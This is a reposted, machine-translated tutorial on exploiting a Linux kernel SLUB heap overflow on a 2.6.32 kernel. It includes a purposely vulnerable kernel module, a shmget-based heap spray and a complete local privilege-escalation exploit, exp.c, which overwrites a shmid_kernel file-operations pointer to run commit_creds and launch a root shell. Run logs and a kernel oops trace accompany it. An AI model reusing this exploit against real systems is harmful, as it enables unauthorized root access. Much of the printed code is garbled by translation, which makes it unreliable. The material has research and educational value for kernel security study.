Space Iklan Space Iklan Space Iklan Space Iklan

Linux Kernel Slub Overflow

Bookmark and Share
Linux Kernel Slub Overflow
source: www.cloud-sec.org
                                      Exploit linux kernel slub overflow

I. Introduction

   Kernel exploit more popular in recent years, the common core to mention the right of vulnerability can be divided into several categories: the null pointer reference, the kernel stack overflow, kernel slab overflow, kernel any address writable.
A null pointer dereference vulnerability easier to exploit, the typical example sock_sendpage, udp_sendmsg. But the new kernel security module no longer allow userspace the code map low memory
NULL pointer dereference once only dos, not to mention the right. CVE-2010-4258 kernel any address writable vulnerability can be a null pointer dereference
dos conversion to mention the right. The kernel stack overflow stack overflow relative userspace under better the exploit. Here the most difficult to exploit the kernel slab overflow. Slab of overflow in 2005, UNF
qobaiashi written paper to illustrate the slab exploit. Since then overflow study on the slab in the focus on the 2.4 kernel under 2.6 of the slab overflows have not seen the paper shared out.
Time in the kernel 2.6.22, the kernel in order to improve the performance of the slab, the introduction of the slub the design. For the slub overflow the paper has not been shared until Jon Oberheide released a CAN protocol
the slub overflow exploit, this is the first public use of slab overflow exploit in 2.6kernel ubuntu-10.04 2.6.32 kernel running. Jon Oberheide
The exploit due to the use of some of the advantages of the CAN code does not overflow the essence of the slub reflected in his blog article on the analysis of the slub overflow paper. In-depth study of the exploit
On the basis of, plus I debug the experience of the 2.4 kernel slab overflow, look slub overflow centos 5.2 + 2.6.32 environment, the test is successful.

Second, the sample code:

   In order to facilitate debugging, I wrote an LKM module, a new system calls to the kernel api interface, users can call.

# Define BUFFER_SIZE 80

asmlinkage long kmalloc_overflow_test (char * addr, int size)
{
        char * buff = NULL;

        buff = kmalloc (BUFFER_SIZE, GFP_KERNEL);
        if (! buff) {
                printk ("kmalloc failed \ n");
                return -1;
        }
        printk ("[+] Got the object at 0x% p \ n", buff);

        if (copy_from_user (buff addr, size)) {
printk ("copy_from_user failed \ n");
                kfree (buff);
return -1;
        }
printk ("% s \ n", buff);

        return 0;
}
This code use kmalloc allocated 80 bytes of space, but did not check the size the size of the user to pass a value greater than the size value of 80 will have a kernel heap overflow.

Third, the SLUB structure

   the slub greatly simplifies the data structure of the slab kmem_cache the three queues on the slab removed completely full queue. The beginning of each slab slab management structure and management of empty obj
kmem_bufctl_t array. A slab slub management structure is as follows:

   A slab of the structure:

   + ------------------------------------------- +
   | Obj | obj | obj | ... | obj |
   + ------------------------------------------- +
 
   According to the above code fragment, after the overflow of an obj dirty data directly over the rear adjacent obj:

   | First | second |
   + ------------------------------------------- +
   | Obj | obj | obj | ... | obj |
   + ------------------------------------------- +
   | ----- The overflow ---> |

   When the kernel code to access the data structure in the overflow of obj, it will have the oops.

Fourth, the the SLUB overflow method

   Kernel to mention the right to the ultimate purpose is to trigger a kernel bug, and then control the path to the kernel to userspace prior arrangement good shellcode. Therefore, our general direction in the second obj
If there is a function pointer can be dirty data coverage userspace shellcode, and the user can call this function pointer, you will complete an elevated task. There is also a problem to be dealt with
Is how to guarantee that a bug in the code using kmalloc allocation obj and we want to overwrite a function pointer where obj is adjacent. Because only the two adjacent, in order to use the overflow data overwrite the function pointer.

Let us assume that a data structure has been found in the kernel, just to meet the above requirements, as long as two obj is adjacent, you can complete the pointer cover. We know that a feature of the slab is
When a cache slab structure obj run out, the kernel will reallocate the slab, the new distribution slab obj to each other are adjacent:
Kmalloc () -> __kmalloc () -> __do_kmalloc () -> __cache_alloc () -> ____cache_alloc () -> cache_alloc_refill
() -> Cache_grow () -> cache_init_objs ()

static void cache_init_objs (struct kmem_cache * cachep,
struct slab * slabp, unsigned long ctor_flags)
{
for (i = 0; i <cachep-> num; i + +) {
void * objp = index_to_obj (cachep, slabp, i);
slab_bufctl (slabp) [i] = i + 1;
}
slab_bufctl (slabp) [i - 1] = BUFCTL_END;
slabp-> free = 0;
}
Mentioned in front of the structure of the slab in a kmem_bufctl_t array, obj index point of each element inside an idle. Initialize a new slab, each kmem_bufctl_t
Elements in order of points adjacent to it next obj, so when the kernel re-allocation of a slab structure, allocated from the new slab obj are adjacent.

SLUB is not also meet this feature? Carefully read the slub the code and found that it also satisfy this feature:
kmalloc () -> slab_alloc () -> __slab_alloc () -> new_slab ():
static struct page * new_slab (struct kmem_cache * s, gfp_t flags, int node)
{
        last = start;
        for_each_object (p, s, start, page-> objects) {
                setup_object (s, page, last);
                set_freepointer (s, last, p);
                last = p;
        }
        setup_object (s, page, last);
        set_freepointer (s, last, NULL);
}
# Define for_each_object (__p, __ s, __ addr, __ objects) \
        for (__p = (__addr); __ p <(__addr) + (__objects) * (__s) -> size; \
                        __p + = (__s) -> size)
All obj this code to traverse a page is initialized:
static inline void set_freepointer (struct kmem_cache * s, void * object, void * fp)
{
        * (Void **) (object + s-> offset) = fp;
}
s-> offset is saved is a slab in the next idle obj offset set_freepointer function will be an obj an idle pointer to the next one obj. So the slub also meet this characteristic.

Now we are in user space to find a way to continue to consume the slab run out of the existing slab, the slab of the newly allocated obj is continuous adjacent. How to consume slabs
We can still use the shmget system call, and it used the struct shmid_kernel structure, it is we want to overwrite a function pointer!

ipc / shm.c:
sys_shmget-> ipcget-> ipcget_new-> newseg:
static int newseg (struct ipc_namespace * ns, struct ipc_params * params)
{
        struct shmid_kernel * shp;

        shp = ipc_rcu_alloc (sizeof (* shp));
shp-> shm_file = file;
}
void * ipc_rcu_alloc (int size)
{
out = kmalloc (HDRLEN_KMALLOC + size, GFP_KERNEL);
}

Therefore continue to call shmget in user space in the kernel constant drain on the slab size of 96. The example code assigned is 80 bytes, it will be allocated in the 96-sized slab,
It should be noted:
out = kmalloc (HDRLEN_KMALLOC + size, GFP_KERNEL);
Space station, has an 8 byte with shmget allocation obj preceding Therefore with the shmget assigned shmid_kernel structure will be as follows:

   | ------ 96 ---------- ---------- | --------------- 96 ----- ------- |
   + ------------------------------------------------- -------------- +
   | HDRLEN_KMALLOC | shmid_kernel | HDRLEN_KMALLOC | shmid_kernel |
   + ------------------------------------------------- -------------- +

Later covered skip the HDRLEN_KMALLOC bytes.

Information on the slab in the kernel, you can get in / proc / slabinfo:
[Wzt @ localhost exp] $ cat / proc / slabinfo | grep kmalloc-96
kmalloc-96 922 924 96 42 1: tunables 0 0 0: slabdata 22 22 0
922 current active obj number of 924 is obj the number of all slab, so we can parse this file in the user space remaining in the current system obj number:
int check_slab (char * slab_name, int * active, int * total)
{
        FILE * fp;
        a char buff [1024], name [64];
        int active_num, total_num;

        fp = fopen ("/ proc / slabinfo", "r");
        if (! fp) {
                given by the perror ("fopen");
                return -1;
        }

        while (fgets (buff, 1024, fp)! = NULL) {
                sscanf (buff, "% s% u% u", name, & active_num, & total_num);
                if (! strcmp (slab_name, name)) {
                        * Active = active_num;
                        * Total = total_num;
                        return total_num - active_num;
                }
        }

        return -1;
}
Now write a code to call shmget, take a look at the new distribution of obj is not continuous, in order to facilitate the debugging, I modified the code of sys_shmget
Added a printk to print the address after the kmalloc. trigger the code fragment as follows:
trigger.c:
...
        shmids = malloc (sizeof (int) * (free_num + SLAB_NUM * 3));

        fprintf (stdout, "[+] smashing free in the slab ... \ n");
        for (i = 0; i <free_num + SLAB_NUM; i + +) {
                if (! check_slab (SLAB_NAME, & active_num, & total_num))
                        break;

                shmids [i] = shmget (IPC_PRIVATE, 1024, IPC_CREAT);
                if (shmids [i] <0) {
                        given by the perror ("shmget");
                        return -1;
                }
        }
        base = i;
        fprintf (stdout, "[+] smashing% d total:% d active:% d free in:% d \ n",
                i, total_num, active_num, total_num - active_num);

        fprintf (stdout, "[+] smashing adjacent slab ... \ n");
        i = base;
        for (; i <base + SLAB_NUM; i + +) {
                shmids [i] = shmget (IPC_PRIVATE, 1024, IPC_CREAT);
                if (shmids [i] <0) {
                        given by the perror ("shmget");
                        return -1;
                }
        }
        check_slab (SLAB_NAME, & active_num, & total_num);
        fprintf (stdout, "[+] smashing% d total:% d active:% d free in:% d \ n",
                i, total_num, active_num, total_num - active_num);
...

[Wzt @ localhost exp] $. / Exp
[+] Mmaping kernel code at 0x41414141 ok.
[+] Looking for symbols ...
[+] Found commit_creds addr at 0xc0446524.
[+] Found prepare_kernel_cred addr at 0xc0446710.
[+] Setting up the exploit the payload ...
[+] Checking slab total: 840 the active: 836 free in: 4
[+] Smashing free in the slab ...
[+] Smashing 17 total: 840 the active: 840 free in: 0
[+] Smashing adjacent slab ...
[+] Smashing 117 total: 966 the active: 966 free in: 0

Can see the dmesg information, new obj continuous.
[Wzt @ localhost exp] $ dmesg | tail-n 10
[+] Kmalloc at 0xdf1ea120
[+] Kmalloc at 0xdf1ea180
[+] Kmalloc at 0xdf1ea1e0
[+] Kmalloc at 0xdf1ea240
[+] Kmalloc at 0xdf1ea2a0
[+] Kmalloc at 0xdf1ea300
[+] Kmalloc at 0xdf1ea360
[+] Kmalloc at 0xdf1ea3c0
[+] Kmalloc at 0xdf1ea420
[+] Kmalloc at 0xdf1ea480

ok, we have been able to obtain a continuous obj to use slub another feature: the FIFO, first select an obj released in the successive obj
And then immediately trigger a bug in the code, then that obj obj address for bug-free code to call kmalloc allocation is just released, when the overflow occurred, the dirty data will overwrite
It adjacent to the next obj. Use the following code to trigger:

trigger.c:
...
        free_idx = i - 4;
        fprintf (stdout, "[+] free exist shmid with idx:% d \ n", free_idx);
        if (shmctl (shmids [free_idx], IPC_RMID, NULL) == -1) {
                given by the perror ("in shmctl");
        }

        fprintf (stdout, "[+] trigger kmalloc overflow in% s \ n", SLAB_NAME);
        memset (buff, 0x41, sizeof (buff));
kmalloc_overflow_test (buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof (shmid_kernel));
...

Here we will last four obj released dmesg you can see after the execution:

[+] Kmalloc at 0xd3decc00
[+] Kmalloc at 0xd3decc60
[+] Kmalloc at 0xd3deccc0
[+] Kmalloc at 0xd3decd20
[+] Kmalloc at 0xd3decd80
[-] Kfree at 0xd3decc60
...............................
[+] Got object at 0xd3decc60
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

After the the shmctl release out 0xd3decc60 address, the bugs kmalloc assigned address is also 0xd3decc60.

[Wzt @ localhost exp] $ tail / proc / sysvipc / shm
         0,819,225,001,024,314,800 500 500 500 500 0 0 1293098372
1094795585 1094795585 05001345228840 500 1094795585 1094795585 0 0 4294967295 252 0
1094795585 1094795585 0 1024 3148 0 0 500 500 500 500 0 0 1293098372
         0,832,332,601,024,314,800 500 500 500 500 0 0 1293098372
Can see that in adjacent and 0xd3decc60, the next obj address 0xd3deccc0 shmid_kernel structure has been covering.

Now we can cover a function pointer, just meet we need a function pointer in shmid_kernel

ipc shared memory data structure of the struct shmid_kernel handled in the kernel:

struct shmid_kernel / * private to the kernel * /
{
        struct kern_ipc_perm shm_perm;
        struct file * shm_file;
        unsigned long shm_nattch;
        unsigned long shm_segsz;
        time_t shm_atim;
        time_t shm_dtim;
        time_t shm_ctim;
        pid_t shm_cprid;
        pid_t shm_lprid;
        struct user_struct * mlock_user;
;}

struct shmid_kernel {
. Shm_file = struct file {
F_op is = struct file_operations = {
. The mmap = ATTACKER_ADDRESS
}
}
}
Shmat system call is triggered:

sys_shmat () -> do_shmat ():
long do_shmat (int shmid, char __ user * shmaddr, int shmflg, ulong * raddr)
{
user_addr = do_mmap (file, addr, size, prot, flags, 0);
}
do_mmap will be covered for the shellcode address.

ok, now can write a complete exp, try first:
[Wzt @ localhost exp] $. / Exp
Execution system hang, look dmesg:
[+] Kmalloc at 0xd31752a0
[+] Kmalloc at 0xd3175300
[+] Kmalloc at 0xd3175360
[+] Kmalloc at 0xd31753c0
[+] Kmalloc at 0xd3175420
[+] Kmalloc at 0xd3175480
[+] Kmalloc at 0xd31754e0
[-] Kfree at 0xd31753c0
...............................
[+] Got object at 0xd31753c0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
BUG: unable to the handle the kernel NULL pointer dereference at (null)
IP: [<c04fc352>] ipc_has_perm +0 x46/0x61
* Pde = 00000000
The Oops: 0000 [# 1] the SMP
last sysfs file: / sys/devices/pci0000: 00/0000: 00:05.0 / local_cpus
Modules linked in: sys ipv6 autofs4 sunrpc ip_tables ip6_tables x_tables dm_multipath video output sbs sbshc battery ac parport_pc lp parport snd_intel8x0 snd_ac97_codec ac97_bus snd_seq_dummy snd_seq_oss snd_seq_midi_event snd_seq snd_seq_device snd_pcm_oss snd_mixer_oss ide_cd_mod button cdrom snd_pcm rtc_cmos serio_raw rtc_core rtc_lib snd_timer 8139too floppy snd 8139cp soundcore i2c_piix4 mii snd_page_alloc i2c_core pcspkr dm_snapshot dm_zero dm_mirror dm_region_hash dm_log dm_mod ata_piix libata sd_mod scsi_mod ext3 jbd uhci_hcd ohci_hcd ehci_hcd [last unloaded: microcode]

Pid: 3.19 thousand, comm: exp Not tainted (2.6.32 # 2) Bochs is
EIP: 0060: [<c04fc352>] EFLAGS: 00010246 CPU: 1
EIP is at ipc_has_perm +0 x46/0x61
EAX: 00000000 EBX: 00000000 ECX: 00000000 EDX: d3175428
ESI: 000001f0 EDI: d33ebf30 EBP: 00000080 ESP: d33ebec8
 DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068
Process exp (pid: 3190, ti = d33eb000 task = dbe6ea30 task.ti = d33eb000)
Stack:
 d3175428 d33ebed0 00000004 00000000 00000000 00000000 00000000 00000000
<0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
The Call the Trace:
 [<c04f9cf3>]? Security_ipc_permission +0 xf/0x10
 [<c04f22e4>]? Do_shmat +0 xdc/0x349
 [<c04057da>]? Sys_ipc +0 xff/0x162
 [<c0402865>]? Syscall_call +0 x7/0xb
Code: 8c e4 82 c0 8b 92 d8 02 00 00 89 c7 8b 52 58 8b 72 04 31 d2 89 44 24 04 89 d0 f3 ab 8b 14 24 c6 44 24 08 04 8b 42 0c 89 44 24 10 <0f> b7 0b 8d 44 24 08 8b 53 04 50 89 of f0 55 e8 75 fb ff ff 83 c4,
EIP: [<c04fc352>] ipc_has_perm +0 x46/0x61 SS: ESP 0068: d33ebec8
CR2,: 0000000000000000
--- [End trace 7bbab7e881899412] ---
[Wzt @ localhost exp] $
The problem looks like selinux, it closed out in try:

[Wzt @ localhost exp] $. / Exp
[+] Mmaping kernel code at 0x41414141 ok.
[+] Looking for symbols ...
[+] Found commit_creds addr at 0xc0446524.
[+] Found prepare_kernel_cred addr at 0xc0446710.
[+] Setting up the exploit the payload ...
[+] Checking the slab total: 798 active: 791 free in: 7
[+] Smashing free in the slab ...
[+] Smashing 5 total: 798 the active: 798 free in: 0
[+] Smashing adjacent slab ...
[+] Smashing 105 total: 924 the active: 924 free in: 0
[+] Free exist shmid with idx: 101
[+] The trigger kmalloc the overflow in kmalloc-96
[+] Shmid_kernel size: 80
[+] Kern_ipc_perm size: 44
[+] Shmid: 3,309,669
[+] Launching the root shell!
[Root @ localhost exp] # uname-a
Linux localhost.localdomain 2.6.32 # 2 SMP Thu Dec 23 14:59:36 CST 2010 i686 i686 i386 GNU / Linux
[Root @ localhost exp] #
Successful, and finally got a lovely root!

Five, source:

   exp.c
/ *
 * Linux kernel slub overflow test exploit
 *
 * By wzt <wzt.wzt@gmail.com>
 *
 * /

# Include <stdio.h>
# Include <stdlib.h>
# Include <string.h>
# The include <unistd.h>
# Include <fcntl.h>
# The include <limits.h>
# The include <inttypes.h>
# The include <sys/types.h>
# Include <sys/ipc.h>
# Include <sys/sem.h>
# Include <sys/shm.h>
# Include <sys/mman.h>
# Include <sys/stat.h>

# Include "syscalls.h

# Define __ NR_kmalloc_overflow_test 59

# Define KALLSYMS_NAME "/ proc / kallsyms"
# Define SLAB_NAME "kmalloc-96"
# Define SLAB_SIZE 96
# Define SLAB_NUM 100

# Define IPCMNI 32768
# Define EIDRM 43
# Define HDRLEN_KMALLOC 8

the struct the list_head {
struct the list_head * the next;
the struct the list_head * prev;
;}

the struct the super_block {
struct list_head s_list;
unsigned int s_dev;
unsigned long s_blocksize;
unsigned char s_blocksize_bits;
unsigned char s_dirt;
uint64_t s_maxbytes;
void * s_type;
void * s_op;
void * dq_op;
void * s_qcop;
void * s_export_op;
an unsigned long the s_flags;
} The super_block;

the struct the mutex {
unsigned int count;
unsigned int wait_lock;
struct list_head wait_list;
void * the owner;
;}

the struct the inode {
struct list_head i_hash;
struct list_head i_list;
struct list_head i_sb_list;
struct list_head i_dentry_list;
unsigned long i_ino;
unsigned int i_count;
unsigned int i_nlink;
unsigned int i_uid;
unsigned int i_gid;
unsigned int i_rdev;
uint64_t i_version;
uint64_t the i_size;
unsigned int i_size_seqcount;
long i_atime_tv_sec;
long i_atime_tv_nsec;
long i_mtime_tv_sec;
long i_mtime_tv_nsec;
long i_ctime_tv_sec;
long i_ctime_tv_nsec;
uint64_t i_blocks;
unsigned int i_blkbits;
unsigned short i_bytes;
an unsigned short i_mode;
unsigned int i_lock;
struct mutex i_mutex;
unsigned int i_alloc_sem_activity;
unsigned int i_alloc_sem_wait_lock;
struct list_head i_alloc_sem_wait_list;
void * i_op;
void * i_fop;
struct super_block * i_sb;
void * i_flock;
void * i_mapping;
the char i_data [84];
void * i_dquot_1;
void * i_dquot_2;
struct list_head i_devices;
void * i_pipe_union;
unsigned int i_generation;
unsigned int i_fsnotify_mask;
void * i_fsnotify_mark_entries;
struct list_head inotify_watches;
struct mutex inotify_mutex;
} The inode;

the struct the dentry {
unsigned int d_count;
unsigned int d_flags;
unsigned int d_lock;
int d_mounted;
void * d_inode;
struct list_head d_hash;
void * d_parent;
} The dentry;

the struct file_operations {
void * the owner;
void * the llseek;
a void * the read;
void * the write;
a void * the aio_read;
 void * aio_write;
a void * fashion in which readdir;
void * the poll;
void * the ioctl;
void * unlocked_ioctl;
void * compat_ioctl;
void * the mmap;
a void * open;
void * the flush;
a void * release;
void * the fsync;
void * The aio_fsync;
void * the fasync;
void * lock;
void * sendpage;
void * get_unmapped_area;
void * check_flags;
void * flock;
void * splice_write;
void * splice_read;
void * setlease;
} Op,;

the struct vfsmount {
struct list_head mnt_hash;
void * mnt_parent;
void * mnt_mountpoint;
void * mnt_root;
void * mnt_sb;
struct list_head mnt_mounts;
struct list_head mnt_child;
int mnt_flags;
const char * mnt_devname;
struct list_head mnt_list;
struct list_head mnt_expire;
struct list_head mnt_share;
struct list_head mnt_slave_list;
struct list_head mnt_slave;
struct vfsmount * mnt_master;
struct mnt_namespace * mnt_ns;
int mnt_id;
int mnt_group_id;
int mnt_count;
} Vfsmount;

the struct the file {
struct list_head fu_list;
struct vfsmount * f_vfsmnt;
struct the dentry * f_dentry;
void * f_op is;
unsigned int f_lock;
unsigned long f_count;
} The file;

struct kern_ipc_perm {
unsigned int lock;
int deleted;
int id;
unsigned int the key;
unsigned int uid;
unsigned int gid;
unsigned int cuid;
unsigned int cgid;
unsigned int mode;
unsigned int seq;
void * security;
;}
  
struct shmid_kernel {
struct kern_ipc_perm shm_perm;
struct file * shm_file;
unsigned long shm_nattch;
unsigned long shm_segsz;
time_t shm_atim;
time_t shm_dtim;
time_t shm_ctim;
unsigned int shm_cprid;
unsigned int shm_lprid;
void * mlock_user;
} Shmid_kernel;

typedef int __ attribute__ ((regparm (3))) (* _commit_creds) (unsigned long cred);
typedef unsigned long __ attribute__ ((regparm (3))) (* _prepare_kernel_cred) (unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

static inline my_syscall2 (long, kmalloc_overflow_test, char *, addr, int, size);

int __ attribute__ ((regparm (3)))
kernel_code (struct file * file, void * vma)
{
commit_creds (prepare_kernel_cred (0));
return -1;
}

unsigned long find_symbol_by_proc (char * file_name, char * symbol_name)
{
        FILE * s_fp;
        char buff [200];
        char * p = NULL, * p1 = NULL;
        an unsigned long addr = 0;

        s_fp = fopen (file_name, "r");
        if (s_fp == NULL) {
                printf ("open% s is failed \ n", file_name);
                return 0;
        }

        while (fgets (buff, 200, s_fp)! = NULL) {
                if (of strstr (buff symbol_name) = NULL) {
                        buff [strlen (buff) - 1] = '\ 0';
                        p = strchr (the strchr (buff, '') + 1, '');
                        + + P;

                        if (! p) {
                                return 0;
                        }
                        if (! strcmp (p, symbol_name)) {
                                p1 = the strchr (buff, '');
                                * P1 = '\ 0';
                                sscanf (buff, "% lx", & addr);
                                / / Addr = strtoul (buff, NULL, 16);
                                printf ("[+] found% s, addr at 0x% x \ n",
                                        symbol_name, addr);
                                break;
                        }
                }
        }

        fclose (s_fp);
        return addr;
}

int check_slab (char * slab_name, int * active, int * total)
{
FILE * fp;
a char buff [1024], name [64];
int active_num, total_num;

fp = fopen ("/ proc / slabinfo", "r");
if (! fp) {
given by the perror ("fopen");
return -1;
}

while (fgets (buff, 1024, fp)! = NULL) {
sscanf (buff, "% s% u% u", name, & active_num, & total_num);
if (! strcmp (slab_name, name)) {
* Active = active_num;
* Total = total_num;
return total_num - active_num;
}
}

return -1;
}

void clear_old_shm (void)
{
char * cmd = "for shmid in` cat / proc / sysvipc / shm | awk '{print $ 2}' `;"
"Do ipcrm-m $ shmid> / dev / null 2> &1; done;";

system (cmd);
}

void mmap_init (void)
{
a void * the payload;

        the payload = mmap ((void *) (0x41414141 & 0xfff are), 2 * 4096
                       PROT_READ | PROT_WRITE | PROT_EXEC,
                       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
        if ((long) the payload == -1) {
                printf ("[*] Failed to the mmap () at the target address. \ n");
                return;
        }
printf ("[+] mmaping kernel code at 0x41414141 ok. \ n");
        memcpy ((void *) 0x41414141, & kernel_code, 1024);

}

void setup (void)
{
printf ("[+] looking for symbols ... \ n");

commit_creds = (_commit_creds)
find_symbol_by_proc (KALLSYMS_NAME, "commit_creds");
    if (! commit_creds) {
printf ("[-] not found commit_creds addr. \ n");
return;
    }

prepare_kernel_cred =
(_prepare_kernel_cred) Find_symbol_by_proc (KALLSYMS_NAME,
"Prepare_kernel_cred");
    if (! prepare_kernel_cred) {
printf ("[-] not found prepare_kernel_cred addr. \ n");
return;
    }

printf ("[+] setting up the exploit the payload ... \ n");

super_block.s_flags = 0;

    inode.i_size = 4096;
    inode.i_sb = & super_block;
    inode.inotify_watches.next = & inode.inotify_watches;
    inode.inotify_watches.prev = & inode.inotify_watches;
    inode.inotify_mutex.count = 1;

    dentry.d_count = 4096;
    dentry.d_flags = 4096;
    dentry.d_parent = NULL;
    dentry.d_inode = &inode;

    op.mmap = & kernel_code;
    op.get_unmapped_area = & kernel_code;

    vfsmount.mnt_flags = 0;
    vfsmount.mnt_count =;

    file.fu_list.prev = & file.fu_list;
    file.fu_list.next = & file.fu_list;
    file.f_dentry = &dentry;
    file.f_vfsmnt = &vfsmount;
    file.f_op = &op;

    shmid_kernel.shm_perm.key = IPC_PRIVATE;
    shmid_kernel.shm_perm.uid = 501;
    shmid_kernel.shm_perm.gid = 501;
    shmid_kernel.shm_perm.cuid = getuid ();
    shmid_kernel.shm_perm.cgid = getgid ();
    shmid_kernel.shm_perm.mode = -1;
    shmid_kernel.shm_file = &file;
}

int trigger (void)
{
int * shmids;
int total_num, active_num, free_num;
int base, free_idx, i;
int ret;
char buff [1024];

clear_old_shm ();

free_num = check_slab (SLAB_NAME, & active_num, & total_num);
fprintf (stdout, "[+] checking the slab total:% d of the active:% d free in:% d \ n",
total_num, active_num, total_num - active_num);

shmids = malloc (sizeof (int) * (free_num + SLAB_NUM * 3));

fprintf (stdout, "[+] smashing free in the slab ... \ n");
for (i = 0; i < free_num + SLAB_NUM; i++) {
        if (!check_slab(SLAB_NAME, &active_num, &total_num))
            break;

        shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
        if (shmids[i] < 0) {
            perror("shmget");
            return -1;
        }
    }
    base = i;
        fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
                i, total_num, active_num, total_num - active_num);

    fprintf(stdout, "[+] smashing adjacent slab ...\n");
    i = base;
    for (; i < base + SLAB_NUM; i++) {
                shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
                if (shmids[i] < 0) {
                        perror("shmget");
                        return -1;
                }
    }
    check_slab(SLAB_NAME, &active_num, &total_num);
        fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
                i, total_num, active_num, total_num - active_num);

    //free_idx = base + SLAB_NUM - 4;
    free_idx = i - 4;
    fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);
    if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {
        perror("shmctl");
    }

    sleep(1);

    fprintf(stdout, "[+] trigger kmalloc overflow in %s\n", SLAB_NAME);
    memset(buff, 0x41, sizeof(buff));
    shmid_kernel.shm_perm.seq = shmids[free_idx + 1] / IPCMNI;
    memcpy(&buff[SLAB_SIZE + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));
    //memcpy(&buff[SLAB_SIZE], &shmid_kernel, sizeof(shmid_kernel));

    printf("[+] shmid_kernel size: %d\n", sizeof(shmid_kernel));
    printf("[+] kern_ipc_perm size: %d\n", sizeof(struct kern_ipc_perm));
    printf("[+] shmid: %d\n", shmids[free_idx]);

    kmalloc_overflow_test(buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof(shmid_kernel));

    ret = (int)shmat(shmids[free_idx + 1], NULL, SHM_RDONLY);
    if (ret == -1 && errno != EIDRM) {
        setresuid(0, 0, 0);
        setresgid(0, 0, 0);

        printf("[+] launching root shell!\n");

        execl("/bin/bash", "/bin/bash", NULL);
        exit(0);
    }

    return 0;
}

int main(void)
{
    mmap_init();
    setup();
    trigger();
}

å...­ãEUR�å�,èEUR?

1ãEUR� Jon Oberheide - Linux Kernel CAN SLUB Overflow
2ãEUR� grip2 - Linux å+...æ ¸æº¢å?ºç "ç©¶ç³»å^--(2) - kmalloc 溢å?ºæ?EURæoe¯
3ãEUR� qobaiashi - the sotry of exploiting kmalloc() overflows
4ãEUR� Ramon de Carvalho Valle - Linux Slab Allocator Bu_er Overow Vulnerabilities
5ãEUR� wzt - How to Exploit Linux Kernel NULL Pointer Dereference
6ãEUR� wzt - Linux kernel stack and heap exploitation

{ 0 komentar... Views All / Send Comment! }

Posting Komentar

 
beritasehari